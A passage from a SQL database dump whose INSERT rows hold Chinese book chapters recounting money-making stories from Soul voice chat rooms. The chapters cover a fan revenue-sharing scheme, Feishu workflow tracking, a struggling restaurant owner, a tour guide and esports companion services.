更稳?\"\n\n他说:\"都想。\"\n\n我说:\"那就对了。省成本和做得稳,其实是一件事。流程稳了,成本自然就省了。\"\n\n---\n\n两个月后,我们复盘了一次。\n\n企业的总成本更低了。\n\n机构的就业更稳了。\n\n中台的节点按时率到92%。\n\n没有晒\"每月营收\"。\n\n但我们看\"承诺的兑现率\"。\n\n这是最重要的指标。\n\n---\n\n那天派对房快结束的时候,有人问怎么合作。\n\n我说:\"如果你们机构与企业要一起跑,可以先拿一份合作清单看看。\"\n\n\"加到群里,每周有工单看板链接,有问题可以找管理。\"\n\n---\n\n做这个模式这么久,我最大的感受是什么?\n\n政策是死的,人是活的。\n\n同样的政策,有人做成了生意,有人做成了麻烦。\n\n区别在哪里?\n\n在于你有没有把\"合规\"当成底线。\n\n在于你有没有把\"托底\"当成服务。\n\n在于你有没有把\"确定性\"当成产品。\n\n有了这三个,政策就不是负担,而是机会。\n', 1864, 0, 1.00, 49, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:50.013', 1, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (58, '9.5', 'part-4', '第四篇|真实的赚钱', 'chapter-9', '第9章|我在Soul上亲访的赚钱案例', '私域银行:粉丝即小股东', '# 9.5 私域银行:粉丝即小股东\n\n\"分红不是情绪,是动作和规则的可复盘。\"\n\n2025年11月5日,周三,早上7点40分。\n\n那天聊到了私域变现,一个老粉丝突然上麦提问。\n\n他说:\"你说\'粉丝即小股东\',到底怎么运作?\"\n\n我没有问他每个月营收多少。\n\n我问的是:\"你愿意为了\'参与与分润\',每个月做多少\'可执行的动作\'?\"\n\n他愣了。\n\n---\n\n这个问题很重要。\n\n因为大部分人想的是\"我怎么分钱\"。\n\n但真正能分到钱的人,想的是\"我怎么做事\"。\n\n---\n\n私域银行这个概念,是我们在派对房里反复聊出来的。\n\n核心逻辑很简单:\n\n你不是来当观众的,你是来当参与者的。\n\n你参与得越深,分润就越多。\n\n---\n\n让我把这个模式拆清楚。\n\n我们把参与分成\"三类四档\"。\n\n三类任务:\n\n第一类,内容传播。转发、二次编辑、剪小节。\n\n第二类,线索推荐。介绍人、预约、到场、登记。\n\n第三类,社群管理。提醒、组织、抽检、回访。\n\n四档参与:\n\n轻参与:每周1次。\n\n常参与:每周3次。\n\n重参与:每天1次。\n\n核心参与:带队+复盘。\n\n每档对应的分润比例不一样,但都要\"动作可验、结果可见\"。\n\n---\n\n分润怎么结?\n\n只认\"到账\"。\n\n一次性分润:当月线索或成交到账后结算,看板公开记录。\n\n长期分润:复购与留存的贡献,按月核算,到账后结。\n\n反作弊:多号、刷量、虚假到场,一律归零。资料与回访不一致,抽检不过线,当月不结。\n\n---\n\n纠纷怎么处理?\n\n三步就够:\n\n第一步,证据先。看看板、看资料、看抽检记录。\n\n第二步,规则再。按任务卡与分润规则执行。\n\n第三步,公示后。当月结算表公示,复盘改规则。\n\n纠纷不拖,有证据就结,没证据就补。\n\n---\n\n给你们讲一个真实案例。\n\n有一位粉丝做\"线索推荐\"一个月,问题是\"到场率低\"。\n\n我们把任务卡改成三句:\n\n推荐要说什么:一句话说明\"解决哪件当下事\"。\n\n推荐的动作:发链接+约时间+登记信息。\n\n到场的验证:谁看、怎么记、什么时候记。\n\n改完后,\"到场率\"从22%升到41%。\n\n原因很简单:推荐不再是\"喊口号\",而是\"给路+约时间\"。\n\n---\n\n还有一个案例。\n\n社群管理\"提醒太多没人看\"。\n\n我们把提醒改成\"今天三件\":今天要做的三件事,一句话说明+链接。晚上21:00统一复盘。\n\n下周提醒次数从9次降到4次,参与率反而上升到32%。\n\n少而准,比多而乱更有用。\n\n---\n\n任务卡怎么写?\n\n只保留四项:\n\n动作:要做的事,一句话。\n\n质检:怎么验,三步。\n\n时间:什么时候做,几点。\n\n责任:谁负责,谁复核。\n\n写完当天就能用,看板里当天就能看到。\n\n---\n\n派对房里有人问:\"这个模式的目标人群是谁?\"\n\n我说:\"愿意做\'可执行动作\'且愿意\'用看板复盘\'的粉丝。\"\n\n不是\"只想分红的人\"。\n\n是\"愿意做事且愿意让数据说话的人\"。\n\n---\n\n我们的生意逻辑很简单:\n\n\"把\'参与\'变成\'可分润的动作\'。\"\n\n每张任务卡都写清动作、质检点和分润怎么结。\n\n执行过的,都要进看板。\n\n每月看一次贡献的曲线。\n\n---\n\n核心是什么?\n\n两个字:规则。\n\n再加两个字:兑现。\n\n规则是任务卡与分润的明确。\n\n兑现是每月的到账与看板的公开。\n\n我们不做\"口头与模糊\"。\n\n我们只做\"写清楚与可复盘\"。\n\n---\n\n有个做社群的朋友后来问我:\"你们这套东西能不能教我?\"\n\n我说:\"能,但你得先想清楚一件事。\"\n\n\"你是想让粉丝帮你干活,还是想让粉丝跟你一起赚钱?\"\n\n他说:\"后者。\"\n\n我说:\"那就对了。一起赚钱的前提是,规则清楚,兑现到位。做到这两点,粉丝自然愿意跟你干。\"\n\n---\n\n两个月后,我们复盘了一次。\n\n参与的人更稳了。\n\n分润的纠纷更少了。\n\n因为\"动作与规则\"都写清楚了。\n\n我们不晒\"营收\"。\n\n我们看\"参与曲线与复购曲线\"。\n\n---\n\n那天派对房快结束的时候,有人问怎么加入。\n\n我说:\"如果你愿意参与,可以先拿一份任务卡清单看看。\"\n\n\"加到群里,每月有分润看板链接,有问题可以找管理。\"\n\n---\n\n做私域银行这么久,我最大的感受是什么?\n\n粉丝不是韭菜,是伙伴。\n\n你把他们当韭菜,会反噬,他们迟早会离开。\n\n你把他们当伙伴,会反哺,他们会和你走得更远。\n\n而伙伴关系的基础是什么?\n\n是规则清楚,是利益共享,是每一次承诺都能兑现。\n\n做到这三点,私域就不是流量池,而是合伙人池。\n', 1626, 0, 1.00, 50, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:50.025', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (59, '9.6', 'part-4', '第四篇|真实的赚钱', 'chapter-9', '第9章|我在Soul上亲访的赚钱案例', 'Soul派对房:陌生人成交的最快场景', '# 9.6 Soul派对房:陌生人成交的最快场景\n\n最快的不是打折,是给路并兑现。\n\n2025年11月8日,周六,早上8点整。\n\n周末的派对房人来得晚一些,但问题都很直接。\n\n一个陌生人上麦,开门见山。\n\n他说:\"我就是想解决一个问题,能不能现在就给我路?\"\n\n我问:\"你现在每个月,愿意为\'当下解决\'付多少?\"\n\n他给了一个范围。\n\n我说:\"好,那我们先聊清楚你的问题是什么。\"\n\n---\n\n在真实聊天里,我们把派对房定义为\"最快的成交场景\"。\n\n不是靠\"情绪刺激\"。\n\n是靠\"问题分轨—动作清单—线下提示—中台承诺\"。\n\n你把\"当下的路\"给出来,陌生人就愿意成交。\n\n这是我们在60多场派对房里验证出来的规律。\n\n---\n\n**线下怎么说人话?我们把\"提示\"改成三句:**\n\n- 你现在要解决哪一件当下事?\n- 今天先做哪一步?几点?\n- 做完怎么验?谁看、什么时候看。\n\n三句说完,当场给清单与时间,不要留模糊。\n\n很多人来派对房,不是想听故事,是想拿路。\n\n你给他路,他就跟你走。\n\n---\n\n**两周成交日志(节选):**\n\n- 第1天:分轨到\"现金流\",发\"今天三件\"清单(查账/列支/约见)。到群后,当晚跟管理确定约见时间。\n- 第3天:线下约见,只聊\"当下三件\",看板回填节点。\n- 第7天:第一次兑现复盘,异常升级两条:资料缺项与延时处理,第二周补齐。\n- 第14天:承诺兑现率稳定到82%,线下约见率到35%。\n\n日志不求好看,只求\"做到了没\"。\n\n---\n\n**提示话术抽检(每周50条):**\n\n- 是否问到了\"当下事\"? \n- 是否给出了\"今天时间\"? \n- 是否说明了\"怎么验\"? \n\n不过线的话术,统一改成三句格式,下周再抽检。\n\n这套抽检机制,是我们内部团队在用的。\n\n如果你也想建立类似的机制,可以来派对房聊聊。\n\n---\n\n**异常怎么升?只走一条线:**\n\n识别→人工接管→中台回写改法。\n\n谁接、何时接、接完怎么验,都写在工单里。\n\n不走空话,只走流程。\n\n---\n\n**三种人怎么配?**\n\n- 要路的人:当下清单给到手,线下约时间;\n- 要陪伴的人:把随访节奏写清楚,别聊太多空话;\n- 要结构的人:看板和曲线给出来,一起复盘。\n\n每个人都能拿到自己要的东西,成交才快。\n\n这是我们做私域咨询时总结出来的分类方法。\n\n不同的人,用不同的方式服务。\n\n---\n\n**看板怎么做?两块就够:**\n\n- 承诺兑现率曲线;\n- 线下约见率曲线。\n\n两条曲线稳定,成交就稳定。\n\n我们每周都会看这两条曲线,然后调整下周的动作。\n\n---\n\n派对房里有人问:\"目标人群是谁?\"\n\n我说:\"带着明确问题的人。\"\n\n不是\"想听故事的人\"。\n\n是\"想拿路的人\"。\n\n如果你是这样的人,欢迎来派对房。\n\n我们不保证能解决所有问题,但我们保证认真听、认真给建议。\n\n---\n\n**生意逻辑只有一句话:**\n\n\"把\'当下可用的路\'做成\'可兑现的承诺\'。\"\n\n清单要给到手,线下的提示说人话、说时间,飞书里把承诺的兑现率亮出来。\n\n这就是我们的做法。\n\n不复杂,但有效。\n\n---\n\n**核心是什么?**\n\n分轨与承诺。\n\n分轨是把问题分到\"现金流/供应链/内容/健康/关系\"。\n\n承诺是\"评论拿清单/加微信进群/飞书节点按时\"。\n\n我们的团队会帮你跟进,确保每一个承诺都能兑现。\n\n---\n\n两周后,我们复盘了一次。\n\n最快的不是\"打折\"。\n\n最快的是\"给路并兑现\"。\n\n我们不晒\"营收\"。\n\n我们看\"承诺兑现率与线下约见率\"。\n\n这两个指标稳定,成交就稳定。\n\n---\n\n**派对房路径清单:**\n\n1. 目标人群:带明确问题、想拿路的人。\n\n2. 生意逻辑:当下清单+线下提示+中台承诺,把\"路\"变成\"成交\"。\n\n3. 核心:分轨与承诺,问题分轨、承诺可兑现与可见。\n\n4. 进群:评论拿清单→加微信→进对应群→联系管理与当下动作链接。\n\n5. 复盘:看承诺兑现率与约见率,每周升级清单与提示话术。\n\n如果你也想建立这样的成交场景,不管是线上还是线下,都可以来聊。\n\n我们有一套完整的方法论,可以帮你快速上手。\n', 1520, 0, 1.00, 51, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:50.036', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (60, '9.7', 'part-4', '第四篇|真实的赚钱', 'chapter-9', '第9章|我在Soul上亲访的赚钱案例', '飞书中台:从聊天到成交的流程化体系', '# 9.7 飞书中台:从聊天到成交的流程化体系\n\n确定性不是口号,是节点与质检的日常。\n\n2025年11月10日,周一,早上8点15分。\n\n那天聊到了运营体系,一个做私域运营的小伙子上麦,声音里带着困惑。\n\n他说:\"我们聊天很多,成交不稳,你们的中台到底怎么做的?\"\n\n我没有问\"你们每个月营收多少\"。\n\n我问:\"你们每个月愿意为\'确定与可追踪\'付多少?\"\n\n他说:\"只要稳。\"\n\n我说:\"那我们从头梳理一遍。\"\n\n---\n\n在真实聊天里,我们把飞书中台定义为\"从聊天到成交的确定性系统\"。\n\n不是\"一个软件\"。\n\n是\"表单→工单→节点SLA→复盘→质检\"的流程化体系。\n\n这套体系,我们在自己的项目里跑了大半年,效果很稳定。\n\n---\n\n**节点怎么定义?写清三件:**\n\n- 触发条件:什么时候算\"进来\"——加微信/登记/预约;\n- 时间与责任:谁做、几点做、做到什么程度;\n- 验收标准:谁看、看什么、在哪个时间看。\n\n每个节点都要能验、能追、能复盘。\n\n这是我们帮很多团队做咨询时,第一个要解决的问题。\n\n---\n\n**抽检怎么做?一周50条,只看三件:**\n\n- 是否按时:响应/处理/跟进的SLA时间是否到位;\n- 是否到位:动作是否完成、资料是否齐全;\n- 是否回写:看板是否回填、改法是否写清。\n\n不过线的节点,强制人工接管,下周再抽检。\n\n---\n\n**异常升级怎么走?写成\"接管单\":**\n\n- 谁接:指定接管人;\n- 何时接:立刻/2小时/24小时;\n- 怎么接:三步法(先止损→再补做→最后回写);\n- 接完怎么验:谁验、什么时候验、怎么记。\n\n升级不走空话,只走单据。\n\n这套流程,我们可以帮你搭建,也可以帮你培训团队。\n\n---\n\n**曲线怎么报?四张就够:**\n\n- 按时率曲线(SLA);\n- 兑现率曲线(承诺);\n- 约见率曲线(线下);\n- 复购率曲线(留存)。\n\n每周出报,每月复盘\"最拖延的段\"。\n\n看曲线,才能知道问题在哪里。\n\n---\n\n**真实案例A(时间:早上8:30):**\n\n团队聊天多、成交少。我们做了三件:\n\n1) 把\"评论拿清单→加微信→进群\"的入口做成表单;\n2) 把\"线下约见\"的提示改成三句法;\n3) 把\"异常升级\"改成接管单。\n\n两周后,按时率到86%,兑现率到81%,约见率到33%。\n\n他后来说:\"这套东西我们自己摸索可能要半年,你们两周就帮我们跑通了。\"\n\n---\n\n**真实案例B(时间:早上8:50):**\n\n抽检发现\"回填缺失\"。我们把\"回填\"写成三条:谁填、什么时候填、填哪些字段。\n\n未回填的工单一律不结案,当周强制补填。\n\n一个月后,看板完整度到97%。\n\n---\n\n**权限怎么控?**\n\n- 录入权限给一线;\n- 结案权限给组长;\n- 改法权限给质检;\n- 报表权限给负责人。\n\n谁能改、改什么、怎么留痕,都写进中台。\n\n这套权限设计,是我们在多个项目里踩坑总结出来的。\n\n---\n\n**培训怎么落地?只讲\"要点+跑一次\"。**\n\n- 要点:节点写法、抽检规则、接管单、四条曲线;\n- 跑一次:每个岗位跑一条工单,自己做、同伴看、质检再看,最后回填\"做到了没\"。\n\n第二天复盘,不合格补练,合格才上线。\n\n如果你的团队需要这样的培训,可以联系我们。\n\n---\n\n派对房里有人问:\"目标人群是谁?\"\n\n我说:\"想把\'聊天\'变成\'成交\'的团队。\"\n\n不是\"想要软件的人\"。\n\n是\"想要确定性的人\"。\n\n---\n\n**我们的生意逻辑只有一句话:**\n\n\"把\'承诺\'做成\'节点与曲线\'。\"\n\n用看板与质检,让每一个承诺都有\"兑现率与时间\"。\n\n这就是我们能提供的价值。\n\n---\n\n**核心是什么?**\n\n节点与质检。\n\n节点是SLA。\n\n质检是抽检与复盘。\n\nAI代聊只做轻动作,专业的人做重交付,中台把\"确定性\"拉起来。\n\n---\n\n两个月后,我们复盘了一次。\n\n按时率与兑现率稳定在高位,线下约见率与复购率都提升。\n\n我们不晒\"营收\"。\n\n我们看\"节点曲线与兑现曲线\"。\n\n---\n\n**中台路径清单:**\n\n1. 目标人群:想把聊天变成成交的团队。\n\n2. 生意逻辑:把承诺做成节点与曲线,用看板与质检追踪。\n\n3. 核心:节点SLA与质检抽检,AI轻动作、专业重交付。\n\n4. 进群:评论拿中台清单→加微信→进中台群→联系管理与看板链接。\n\n5. 复盘:看按时率/兑现率/约见率/复购率,每月升级流程与质检点。\n\n这套中台体系,我们可以帮你从0搭建,也可以帮你优化现有流程。\n\n不管你是做电商、私域、还是线下服务,底层逻辑都是一样的。\n', 1700, 0, 1.00, 52, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:50.048', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (61, '9.8', 'part-4', '第四篇|真实的赚钱', 'chapter-9', '第9章|我在Soul上亲访的赚钱案例', '餐饮女孩:6万营收、1万利润的死撑生意', '# 9.8 餐饮女孩:6万营收、1万利润的死撑生意\n\n\"有时候,最累的不是干活,是不知道为什么干。\"\n\n2025年11月12日,周三,早上6点08分。\n\n我打了个招呼。\n\n\"Hello。\"\n\n房间的人数慢慢往上蹭。\n\n从一两个头像,到一排排头像。\n\n按惯例先抛个钩。\n\n\"欢迎新进来的。\"\n\n这次主题还是围绕\"怎么搞钱\"。\n\n谁要分享项目、想交流、或者单纯来上麦聊天都行。\n\n只要敢说,只要是真事。\n\n---\n\n## 一、三号麦:一天三万的山里生意\n\n第一个主动开口的是三号麦。\n\n他声音刚连上时还有点卡。\n\n\"我今天5点半就起来了。\"\n\n我顺嘴问:\"起来做啥?\"\n\n他憨憨地笑着说:\"今天一天预计可以赚三千多块钱。\"\n\n大家一下精神了。\n\n\"怎么赚的3000块?\"\n\n他慢慢铺开自己的生意。\n\n他现在开着一辆四驱重载货车,后面拖着一台挖机。\n\n平时接的是伐木、运木头的活。\n\n现在是淡季。\n\n\"要是有活的话,一天挣两三万都没问题。\"\n\n\"上个月平均每天都有3万多块钱。\"\n\n这一句丢出来,评论区炸了。\n\n有人酸,有人羡慕,有人开始问细节。\n\n\"累不累?\"\n\n他想都没想:\"那累啥嘞?都是机械出力,又不是人出力。\"\n\n他讲他怎么接活。\n\n抖音上有账号,微信上有账号,还有一堆老关系。\n\n再加上自己还有一个木材加工厂。\n\n他不止在林子里搞钱。\n\n最挣钱的其实是另外一个项目——\"打一网鱼\"。\n\n河两边各站一台挖机,挖机上有5吨的绞盘,一根150米的钢丝绳,拖着大网从河里一拉。\n\n那条河叫倒水河,就在他家门口。\n\n\"今年我都送了1000多斤鱼出去了。\"\n\n送给河道管理站的人,还有林业,还有水利局。\n\n公共资源,谁搞起来就是谁的。\n\n我一边听,一边在心里算他的\"生意逻辑\"。\n\n他的目标人群不是普通消费者,而是手里有山、有河、有证的人。\n\n他的核心不在机器本身,而是那条别人摸不到的\"关系网\"和\"资源网\"。\n\n你听上去是\"体力活\",但本质是资源活。\n\n---\n\n## 二、四号麦:一单50万的旅游购物团\n\n三号麦讲完,四号麦接棒。\n\n她是做导游的。\n\n\"旅游行业最旺季的时候,肯定是5月份。\"\n\n她从大学开始就是学旅游管理,毕业后一直没换行。\n\n她说旅游行业有自己的一套\"灰色收入\"。\n\n购物店,老年团。\n\n\"现在旅游的主力军95%都是退休的、有钱的这种。\"\n\n她很坦白。\n\n\"哪怕是这几年被曝光得这么狠,但是还是有人要搞,为什么?那还是因为这确实太挣钱了。\"\n\n她说自己最赚钱的一次是在云南。\n\n\"基本上一个团下来,整体购物打出来的货,大概是在50万左右。\"\n\n导游这边,\"基本上就是10个点\"。\n\n那就是5万。\n\n\"那一次反正就是人生,基本上就没见过那么多钱,就一天之内。\"\n\n钱来的速度比情绪还快。\n\n\"前一秒客人在前面消费,后一秒后门出来就把钱给你了。\"\n\n她形容那一刻的感受。\n\n\"当时才24,就觉得不可能,就害怕,就心里就是恐慌。\"\n\n\"但是你可能放在现在,就可能,我拿个包包装起来,现在就这种感觉。\"\n\n她反复提到一个词:\"情绪价值。\"\n\n老头老太太出来旅游,要的不是风景。\n\n\"风景拿个手机、拿个电脑都能看到。\"\n\n\"要的就是心情舒服。\"\n\n购物团的逻辑很清晰。\n\n目标人群是有时间、有钱、需要被哄的老人。\n\n生意逻辑是用情绪价值换购物额度。\n\n她的核心竞争力不只是线路熟,而是那个\"恩威并施\"。\n\n该哄的哄,该吓的吓。\n\n既不能把客人逼急了,又不能被客人牵着鼻子走。\n\n说难听点,是把\"人性\"和\"消费欲望\"吃得很透。\n\n她最后说了一句:\"旅游行业最重要的还是你本身要热爱,因为你本身如果对这个东西没有激情,你是给不了别人情绪价值。\"\n\n这句话,很快会在后面那个餐饮女孩身上,对出一整面镜子。\n\n---\n\n## 三、五号麦:三年小店、六万营收、一万利润\n\n轮到五号麦说话的时候,她开口的第一句话就带着疲惫。\n\n\"就是有点迷茫,然后也不知道跟谁说。\"\n\n她说自己本来只是想\"打个错了\",误打误撞进了房间。\n\n\"正好看到你们在聊这个,然后就进来听一眼。\"\n\n我让她讲讲自己的情况。\n\n\"我是做餐饮的,开店的。\"\n\n\"店开了三年。\"\n\n\"最近就挺迷茫的,想转行,又有点舍不得这个店。\"\n\n现在是冬天,客流变少。\n\n人工成本压着她。\n\n\"每个月人工工资大概是1万8左右。\"\n\n淡季营收。\n\n\"现在淡季的话应该是在6万左右。\"\n\n\"一天勾到人民币也就2000左右。\"\n\n店不大,冬天店里位置少,夏天会摆大排档。\n\n刚开的时候生意很好,三年下来也积累了一批老顾客。\n\n但她重复最多的一句话是:\"压力特别大。\"\n\n\"就所有人都觉得说你这店得可挣钱的了,其实赚不赚钱我自己心里知道。\"\n\n我让她把开支拆出来。\n\n她算得很清楚。\n\n\"单人工开支一月是18000。\"\n\n\"房租一个月3000。\"\n\n\"水电费大约在1500左右。\"\n\n我问她:\"你现在最想做的事情是什么?\"\n\n她说自己一直在\"关和开之间纠结\"。\n\n马上要过年了,她知道餐饮要到旺季。\n\n\"但是你旺季之前你可以选择给他出兑。\"\n\n她在北方,\"想去南方看一下,因为都说南方发展比较好。\"\n\n她以为换个城市,生意问题就能解决一半。\n\n可她自己也知道,到了南方,房租、人工、货源,一切都要从头来。\n\n她给自己总结了一句:\"你人生地不熟的,房租、水电人工货源你什么都不了解,你只知道听别人嘴里边说南方比较好赚钱。\"\n\n---\n 四、一个人扛完前厅后厨供应链\n\n我问她有什么优势。\n\n她没有立刻讲菜品,而是讲\"我能干多少活\"。\n\n\"我自己开店做生意,从前屋到后厨到进货渠道任何东西都可以自己上手干。\"\n\n这是她最骄傲的地方。\n\n也是她最累的地方。\n\n\"唯一的缺点就是我只有一个人。\"\n\n\"家里人也帮不上忙,身边的朋友也帮不上忙。\"\n\n她说自己还没对象。\n\n\"没有男朋友,就是没有助理,你身后空无一人。\"\n\n她说员工上班时间是下午2点到凌晨1点。\n\n\"但是他们下班以后,我自己要在店里边加班。\"\n\n\"每天基本上都是这个点下班。\"\n\n\"从凌晨1点他们下班以后,我自己要在店工作到早上6点。\"\n\n这一串话一口气说出来,屏幕前的我都替她喘不过气。\n\n我半开玩笑地说:\"就感觉自己在给员工打工嘛。\"\n\n她接着往下补那种无力感。\n\n\"我就感觉我在给所有人打工。\"\n\n\"供货商也好,送货的也好。\"\n\n\"只要你店里边缺任何东西,一个螺丝钉你都要去花钱去买去。\"\n\n她讲起送货站的人。\n\n几块钱的货款。\n\n\"15块钱的货款,他能一早上给你打四五个电话。\"\n\n\"就是你现在立马给我转货款,我货给你送到了。\"\n\n对方不管她前一晚是不是忙到凌晨,也不管她是不是刚睡下。\n\n她已经很多次跟对方说\"找我下午醒了再打电话\"。\n\n但每次早上还是会被电话吵醒。\n\n---五、质量、毛利率和那1万块利润\n\n聊到产品的时候,她眼神明显是有光的。\n\n她说自己从开店那天起就咬死一件事:\"质量。\"\n\n\"质量其实严,这个餐饮这行吧质量水特别深。\"\n\n她举了个很具体的例子。\n\n\"比如说我们进一样货,这个货官价就是650。\"\n\n\"但是有很多说以次充好的,他进价也就是300块钱。\"\n\n同样一盘菜,一半的成本,一半的品质。\n\n她选择的是最贵、最好那一档。\n\n\"我每次进货的话,我只要最好的。\"\n\n\"所以说这三年来一直都这样,薄利,特别薄。\"\n\n她店里总共只有5款特色菜。\n\n不敢多做。\n\n\"第一店小,第二人少。\"\n\n\"这5款特色菜基本上没有一款是赚钱的。\"\n\n我问她:\"这样做下来,每个月利润率有多少?刨掉所有,到手还有多少?\"\n\n她想了想。\n\n\"1万左右。\"\n\n6万的淡季营收,净到自己手里是1万。\n\n这1万,是她每天睡4、5个小时,从下午忙到凌晨,又从凌晨忙到天亮换来的。\n\n她自己也承认:\"可能比打工赚得多一点,但是你要操很多很多的心。顾客、员工、供货商,就这几样就能给你整得心力交瘁的。\"\n\n这就是她目前的\"生意逻辑\"。\n\n用极致的个人牺牲,硬撑出一个勉强赚钱,但随时可能崩盘的门店。\n\n---\n\n## 六、员工、店长、合伙人和她的\"讨好型人格\"\n\n我问她:\"那些事情能分出去吗?\"\n\n她回答得很干脆:\"分不出去。\"\n\n她不是没试过找人,是试过,失败了。\n\n她说自己店里员工换得特别勤,特别奇葩。\n\n当地很多做餐饮的人,要么文化水平不高,要么就是特别缺钱。\n\n\"能干餐饮的人,好人干不了,不好人不稀得干,赖人干不了。\"\n\n师傅脾气都特别大。\n\n她对员工太好,对方就容易骑在她头上。\n\n她对员工硬一点,员工就会在暗处浪费店里的东西。\n\n她讲过一段最无奈的话:\n\n\"我希望他能把我不好意思说出口的事说出来,但是他每次说出那话特别伤人。\"\n\n之前雇店长,前三个月换了三个。\n\n她其实很清楚自己最大的bug是什么。\n\n\"我不会管理员工,我最大的毛病就是心软。\"\n\n\"比如说你看这块脏了,你想叫服务员来弄一下,但是你不好意思说出口。\"\n\n她说自己觉得自己是纯讨好型人格。\n\n\"我没测过MBTI,但是我觉得我就是纯讨好型人格。\"\n\n后面上来的六号麦、七号麦,都在劝她找一个真正懂管理的店长。\n\n用高薪挖一个,把钱交出去,让店长当\"黑脸\",她当\"白脸\"。\n\n有人说:\"你真正要做的就差一个真正懂管理的店长,你要记住,没有规矩不成方圆。\"\n\n也有人说:\"用高薪挖一个人来,给他一个星期的时间,你只和店长对接。\"\n\n但她心里明白。\n\n第一找不到人。\n\n第二没有信任的人。\n\n第三她不会管理。\n\n---\n\n## 七、情绪崩溃的那个晚上\n\n真正把她打醒的,不是账本上的数字,而是身体的警告。\n\n她讲前一天晚上的状态。\n\n\"昨天这个时候我下班了,就已经心跳加速了,头晕,恶心难受。\"\n\n\"知道自己身体已经到极限了。\"\n\n她连着熬了好几天,每天睡四、五个小时。\n\n员工请假,店里后半夜又特别忙,她一个人撑完全部。\n\n\"晚上下班的时候我还把钱弄丢了。\"\n\n那一刻她回家,外面很黑。\n\n\"搁车上不敢下来了。\"\n\n她看到前面有个人影,\"不知道他是正着走还是倒着走,瞅着也害怕。\"\n\n回到小区,坐电梯,上楼。\n\n她本来想去医院,\"走一半,想想又回家\"。\n\n回到家,她终于崩溃了。\n\n\"到家了就开始哭,就一直在嚎。\"\n\n哭完之后,\"感觉头也不疼了,心也不跳得那么快了\"。\n\n但是那口气憋在心里,没散。\n\n所以她今天早上进了这个房间。\n\n所以她愿意在几十个人面前,把自己这些最脆弱的东西说出来。\n\n---\n\n## 八、听完之后的那点建议\n\n听到这里,我很清楚一件事。\n\n她现在能勉强赚到每个月1万,不是因为她的\"店模式\"有多成功,而是因为她透支身体、透支情绪,把所有坑都用命填上了。\n\n我没有劝她马上关店,也没有劝她立刻南下。\n\n我只是提醒她几个现实。\n\n第一,现在整体经济下行,实体餐饮处在一个普遍下行的周期。\n\n\"南北也都差不多,南方也是一样的。\"\n\n我跟她讲厦门这边的例子。\n\n有一家做蛙的店叫老佛爷,最高的时候一个月营收120万。老板是东北人,靠着这第一家旗舰店在厦门买车买房,完成了原始积累,和后续的连锁加盟。\n\n昨天我路过的时候,店已经关门。\n\n还有一些开了二十几年的老牌餐饮,小时候经常去吃的,现在也纷纷关门。\n\n所以不是她一个人扛不住,而是整个餐饮的水位在下降。\n\n第二,我建议她,既然现在还有营收,先别急着做\"把店卖出去\"这种一次性决策。\n\n即便要转行,也最好在还在运营的时候慢慢试副业。\n\n先把时间拆出来,找到一个可复制的生意逻辑,而不是一拍脑袋换城市。\n\n第三,她现在最关键的卡点不是项目,也不是城市,而是人。\n\n包括她自己。\n\n\"你最困难的一定是找不到合适跟你性格匹配的人。\"\n\n如果找一个很强势的人当店长,店有可能慢慢变成别人的。\n\n如果找一个很弱的人当店长,需要她手把手教,她又会累死。\n\n要找到既懂管理,又能接住她情绪的人,确实难。\n\n\"找到这种合伙人其实比找老公还难。\"\n\n我顺嘴说了一个我自己公司的数据。\n\n\"我们去年面试了300个左右的研发人员,最后只留了6个。\"\n\n这是冷冰冰的数据,也是每个老板需要面对的现实。\n\n你想用一个结构,接住你现在靠身体硬撑的生意,本来就不容易。\n\n但不容易,不代表没有方向。\n\n---\n\n## 九、这场案例的意义\n\n那天早上,一个一天能挣三万的伐木、打鱼老板,一个一团能带来50万购物额、抽10%提成的导游,一个每月6万营收、到手1万的小餐饮老板,同时出现在一个清晨的语音房里。\n\n大家表面上在聊的都是\"怎么挣钱\"。\n\n底层却是三个完全不同的关键词。\n\n三号麦是\"资源\"。\n\n四号麦是\"情绪价值\"。\n\n五号麦是\"结构\",或者说,缺结构。\n\n在这一场里,与其说在帮他们,不如说帮我自己,一起把这些看似零碎的故事,捋成一条条清晰可见的脉络。\n\n如果你此刻也在做一个靠自己一个人死撑的生意,每天睡四、五个小时,觉得自己是在给员工、供货商、房东打工,也许可以把这场soul直播的内容当成一个镜子。\n\n先别急着做决定。\n\n先把这几个问题,悄悄写在自己的本子上。\n\n你的目标人群,到底是谁?\n\n你的生意逻辑,除了\"我很辛苦\"之外,还有什么?\n\n你真正的核心,是勤奋,还是那几道不赚钱的特色菜?\n\n你每个月营收多少,扣掉一切之后,留给你自己的,到底还有多少?\n\n如果有一天你也走进我的soul房间,愿意在麦上讲出这些真实的数字和情绪,那一刻,你已经不是一个人在死撑了。\n\n有时候,找到一群能听懂你的人,比找到一个好项目更重要。\n', 5005, 0, 1.00, 53, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:50.059', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (62, '9.9', 'part-4', '第四篇|真实的赚钱', 'chapter-9', '第9章|我在Soul上亲访的赚钱案例', '电竞生态:从陪玩到签约到酒店的完整链条', '# 9.9 电竞生态:从陪玩到签约到酒店的完整链条\n\n\"月入两万的说自己累死了,年入几百万的说自己才刚起步。\"\n\n2025年11月28日,周五,早上6点22分。\n\n那天派对房聊到了电竞,气氛一下子热起来。\n\n有人做陪玩,有人做酒店,有人做账号交易。\n\n大家七嘴八舌,各说各的。\n\n我听完之后说了一句:\"电竞这个行业,外行看的是热血,内行看的是链条。\"\n\n---\n\n第一个上麦的是个做王者荣耀陪玩的小伙。\n\n他说:\"我月净利润1.8到2万。\"\n\n我问:\"规模多大?\"\n\n他说:\"不大,就我和几个兼职。\"\n\n他讲了自己的模式。\n\n客户付钱,他陪着打游戏。\n\n按小时收费,或者按局收费。\n\n王者荣耀一小时30到50块,高端一点的教练服务能收100以上。\n\n他自己接不了多少单,主要是分给兼职。\n\n客户给50,他给兼职30,他留20。\n\n一个月流水5到6万,净利润2万左右。\n\n---\n\n派对房里有人说:\"这不挺好的吗?\"\n\n他叹了口气。\n\n\"累啊。你要管客户,要管兼职,要处理投诉。\"\n\n\"有时候兼职打得不好,客户骂你